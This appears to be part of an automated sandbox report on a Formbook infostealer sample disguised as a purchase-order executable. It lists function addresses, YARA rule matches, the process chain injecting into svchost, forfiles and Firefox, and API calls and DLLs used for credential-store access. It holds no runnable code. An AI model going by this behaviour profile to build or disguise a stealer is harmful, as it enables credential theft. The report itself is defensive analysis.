            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E1AA32_2_036E1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036499502_2_03649950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365B9502_2_0365B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D59102_2_036D5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AD8002_2_036AD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036438E02_2_036438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFF092_2_036FFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03603FD22_2_03603FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03603FD52_2_03603FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFFB12_2_036FFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03641F922_2_03641F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03649EB02_2_03649EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F7D732_2_036F7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03643D402_2_03643D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F1D5A2_2_036F1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365FDC02_2_0365FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B9C322_2_036B9C32
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FFCF22_2_036FFCF2
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0291D7A87_2_0291D7A8
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02925E927_2_02925E92
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02925E8D7_2_02925E8D
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_02913AE37_2_02913AE3
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0293E3827_2_0293E382
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0291D7F27_2_0291D7F2
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0291F7727_2_0291F772
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0291F5507_2_0291F550
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeCode function: 7_2_0291F5527_2_0291F552
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A24468_2_047A2446
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047944208_2_04794420
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0479E4F68_2_0479E4F6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F05358_2_046F0535
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047B05918_2_047B0591
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0470C6E08_2_0470C6E0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F07708_2_046F0770
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047147508_2_04714750
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046EC7C08_2_046EC7C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047820008_2_04782000
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047781588_2_04778158
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0478A1188_2_0478A118
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046E01008_2_046E0100
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A81CC8_2_047A81CC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047B01AA8_2_047B01AA
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047902748_2_04790274
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047702C08_2_047702C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AA3528_2_047AA352
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047B03E68_2_047B03E6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046FE3F08_2_046FE3F0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F0C008_2_046F0C00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046E0CF28_2_046E0CF2
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04790CB58_2_04790CB5
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0478CD1F8_2_0478CD1F
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046FAD008_2_046FAD00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046EADE08_2_046EADE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04708DBF8_2_04708DBF
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F0E598_2_046F0E59
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AEE268_2_047AEE26
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AEEDB8_2_047AEEDB
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04702E908_2_04702E90
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047ACE938_2_047ACE93
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04764F408_2_04764F40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04710F308_2_04710F30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04792F308_2_04792F30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04732F288_2_04732F28
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046FCFE08_2_046FCFE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046E2FC88_2_046E2FC8
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0476EFA08_2_0476EFA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F28408_2_046F2840
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046FA8408_2_046FA840
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0471E8F08_2_0471E8F0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046D68B88_2_046D68B8
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047069628_2_04706962
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F29A08_2_046F29A0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047BA9A68_2_047BA9A6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046EEA808_2_046EEA80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AAB408_2_047AAB40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A6BD78_2_047A6BD7
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046E14608_2_046E1460
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AF43F8_2_047AF43F
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A75718_2_047A7571
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0478D5B08_2_0478D5B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A16CC8_2_047A16CC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AF7B08_2_047AF7B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A70E98_2_047A70E9
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AF0E08_2_047AF0E0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F70C08_2_046F70C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0479F0CC8_2_0479F0CC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047BB16B8_2_047BB16B
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0472516C8_2_0472516C
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046DF1728_2_046DF172
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046FB1B08_2_046FB1B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047912ED8_2_047912ED
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0470B2C08_2_0470B2C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F52A08_2_046F52A0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046DD34C8_2_046DD34C
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A132D8_2_047A132D
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0473739A8_2_0473739A
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04769C328_2_04769C32
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AFCF28_2_047AFCF2
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A7D738_2_047A7D73
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A1D5A8_2_047A1D5A
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F3D408_2_046F3D40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0470FDC08_2_0470FDC0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F9EB08_2_046F9EB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AFF098_2_047AFF09
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AFFB18_2_047AFFB1
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F1F928_2_046F1F92
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0475D8008_2_0475D800
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F38E08_2_046F38E0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0470B9508_2_0470B950
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_046F99508_2_046F9950
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047859108_2_04785910
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04763A6C8_2_04763A6C
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AFA498_2_047AFA49
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047A7A468_2_047A7A46
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0479DAC68_2_0479DAC6
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04735AA08_2_04735AA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0478DAAC8_2_0478DAAC
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04791AA38_2_04791AA3
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_047AFB768_2_047AFB76
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_04765BF08_2_04765BF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0472DBF98_2_0472DBF9
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0470FB808_2_0470FB80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_00521CD08_2_00521CD0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0051CC108_2_0051CC10
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0051CC0E8_2_0051CC0E
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0051CE308_2_0051CE30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0051AEB08_2_0051AEB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_005111A18_2_005111A1
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_005253608_2_00525360
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_005235508_2_00523550
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0052354B8_2_0052354B
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0053BA408_2_0053BA40
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0454E4438_2_0454E443
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0454E7DD8_2_0454E7DD
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0454E3048_2_0454E304
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0454E3248_2_0454E324
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0454D8488_2_0454D848
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0454E96C8_2_0454E96C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 036AEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03675130 appears 58 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 036BF290 appears 105 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0362B970 appears 280 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03687E54 appears 111 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 04737E54 appears 102 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 0475EA12 appears 86 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 0476F290 appears 105 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 046DB970 appears 280 times
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: String function: 04725130 appears 58 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 00445975 appears 65 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 0041171A appears 37 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 0041718C appears 45 times
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: String function: 0040E6D0 appears 35 times
            Source: PO#001498.exe, 00000000.00000003.2171996178.00000000048CD000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO#001498.exe
            Source: PO#001498.exe, 00000000.00000003.2169975245.0000000004723000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO#001498.exe
            Source: PO#001498.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@18/13
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
            Source: C:\Users\user\Desktop\PO#001498.exeFile created: C:\Users\user\AppData\Local\Temp\reindulgingJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeCommand line argument: #v0_2_0040D7F0
            Source: PO#001498.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\PO#001498.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: forfiles.exe, 00000008.00000003.2831778671.0000000002B3C000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4603411208.0000000002B5E000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4603411208.0000000002B31000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2829814471.0000000002B31000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: PO#001498.exeReversingLabs: Detection: 31%
            Source: C:\Users\user\Desktop\PO#001498.exeFile read: C:\Users\user\Desktop\PO#001498.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\PO#001498.exe "C:\Users\user\Desktop\PO#001498.exe"
            Source: C:\Users\user\Desktop\PO#001498.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO#001498.exe"
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeProcess created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\SysWOW64\forfiles.exe"
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\PO#001498.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO#001498.exe"Jump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeProcess created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\SysWOW64\forfiles.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO#001498.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\forfiles.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exeSection loaded: wininet.dllJump to behavior
